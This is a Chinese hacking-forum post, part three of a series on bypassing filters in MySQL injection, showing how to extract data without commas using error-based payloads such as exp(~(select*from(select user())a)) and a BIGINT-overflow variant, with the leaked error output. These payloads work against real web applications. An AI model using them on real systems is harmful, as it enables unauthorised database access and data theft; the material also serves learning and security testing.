搜索
查看: 504|回复: 0

MySQL注射的过滤绕过技巧[3]

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2017-5-8 21:23:11 | 显示全部楼层 |阅读模式
这一篇介绍不带逗号注入。 之所以不带逗号,多半是因为它被当做分隔符,或者是被脚本过滤了。比如这样一个URL:
  1. http://www.target.com/index.php?cate=1,2,3,4,5
复制代码
参数cate可以注入,但是不能使用逗号,因为逗号被脚本作为分隔符预处理。
这种注射点的利用方法是使用数学运算函数在子查询中报错,比如exp函数(参考 EXP(X)),  Mysql会把子查询的中间结果暴露出来。
  1. select exp(~(select*from(select user())a))
复制代码
MySQL报错:
  1. mysql> select exp(~(select*from(select user())a));
  2. ERROR 1690 (22003): DOUBLE value is out of range in ‘exp(~((select ‘root@localhost’ from dual)))’
复制代码
这样我们就得到了当前user()是root@localhost。
exp(x)函数的作用: 取常数e的x次方,其中,e是自然对数的底。
~x 是一个一元运算符,将x按位取补。举个例子:
  1. mysql> select hex(2);
  2. +——–+
  3. | hex(2) |
  4. +——–+
  5. | 2 |
  6. +——–+

  7. mysql> select hex(~2);
  8. +——————+
  9. | hex(~2) |
  10. +——————+
  11. | FFFFFFFFFFFFFFFD |
  12. +——————+
复制代码
这条查询会出错,是因为exp(x)的参数x过大,超过了数值范围。分解到子查询,就是:
1. (select*from(select user())a) 得到字符串 root@localhost
2. 表达式’root@localhost’被转换为0,按位取补之后得到一个非常的大数,它是MySQL中最大的无符号整数:
  1. mysql> select ~0;
  2. +———————-+
  3. | ~0 |
  4. +———————-+
  5. | 18446744073709551615 |
  6. +———————-+
复制代码
3. exp无法计算e的18446744073709551615次方,最终报错,但是MySQL把前面 1) 中子查询的临时结果暴露出来了
了解了MySQL的这个特点,其实我们就还可以精心构造其他的一元运算符,让MySQL查询在没有逗号的情况下报错,比如:
  1. mysql> select !(select*from(select user())x)-~0;
  2. ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in ‘((not((select ‘root@localhost’ from dual))) – ~(0))’

  3. mysql> select 1 – 18446744073709551615;
  4. ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in ‘(1 – 18446744073709551615)’
复制代码
原因如第二个查询所述。
这个例子是bigint超过数值范围,手法类似。

过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表